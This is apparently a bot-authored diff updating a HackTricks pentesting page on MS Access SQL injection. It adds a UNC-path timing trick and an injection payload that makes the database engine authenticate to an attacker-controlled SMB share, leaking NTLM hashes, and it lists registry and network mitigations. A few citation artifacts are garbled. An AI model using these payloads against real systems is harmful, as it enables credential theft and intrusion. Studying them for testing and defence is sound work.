Add content from: Research Update: Enhanced src/pentesting-web/sql-injection/m...

Author: HackTricks News Bot

src/pentesting-web/sql-injection/ms-access-sql-injection.md

@@ -4,7 +4,7 @@
 
 ## Online Playground
 
-- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
+- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
 
 ## DB Limitations
 
@@ -127,9 +127,21 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
 
 In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.
 
-### Time Based
+### Time-Based (Blind) Tricks
 
-Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
+Jet/ACE SQL itself does **not** expose a native `SLEEP()` or `WAITFOR` function, so traditional time-based blind injections are limited. However, you can still introduce a measurable delay by forcing the engine to access a **network resource that is slow or does not answer**. Because the engine will try to open the file before returning the result, the HTTP response time reflects the round-trip latency to the attacker-controlled host.
+
+```sql
+' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
+```
+
+Point the UNC path to:
+
+* a SMB share behind a high-latency link
+* a host that drops the TCP handshake after `SYN-ACK`
+* a firewall sinkhole
+
+The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0
 
 ### Other Interesting functions
 
@@ -162,7 +174,7 @@ However, note that is very typical to find SQL Injections where you **don't have
 
 The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
 
-`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
+`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
 
 MS Access responds with an **error message containing the web directory full pathname**.
 
@@ -182,7 +194,42 @@ Another way to enumerate files consists into **specifying a database.table item*
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
 
-Where **name\[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
+Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
+
+### Remote Database Access & NTLM Credential Theft (2023)
+
+Since Jet 4.0 every query can reference a table located in a *different* `.mdb/.accdb` file via the `IN '<path>'` clause:
+
+```sql
+SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
+```
+
+If user input is concatenated into the part after **IN** (or into a `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` call) an attacker can specify a **UNC path** that points to a host they control. The engine will:
+
+1. try to authenticate over SMB / HTTP to open the remote database; 
+2. leak the web-server’s **NTLM credentials** (forced authentication); 
+3. parse the remote file – a malformed or malicious database can trigger Jet/ACE memory-corruption bugs that have been patched multiple times (e.g. CVE-2021-28455).
+
+Practical injection example:
+
+```sql
+1' UNION SELECT TOP 1 name
+   FROM MSysObjects
+   IN '\\attacker\share\poc.mdb'-- -
+```
+
+Impact:
+
+* Out-of-band exfiltration of Net-NTLMv2 hashes (usable for relay or offline cracking).
+* Potential remote code execution if a new Jet/ACE parser bug is exploited.
+
+Mitigations (recommended even for legacy Classic ASP apps):
+
+* Add the registry value `AllowQueryRemoteTables = 0` under `HKLM\Software\Microsoft\Jet\4.0\Engines` (and under the equivalent ACE path). This forces Jet/ACE to reject remote paths starting with `\\`.
+* Block outbound SMB/WebDAV at the network boundary.
+* Sanitize / parameterise any part of a query that may end up inside an `IN` clause.
+
+The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. citeturn0search0
 
 ### .mdb Password Cracker
 
@@ -191,8 +238,7 @@ Where **name\[i] is a .mdb filename** and **realTable is an existent table** wit
 ## References
 
 - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
+- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
+- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-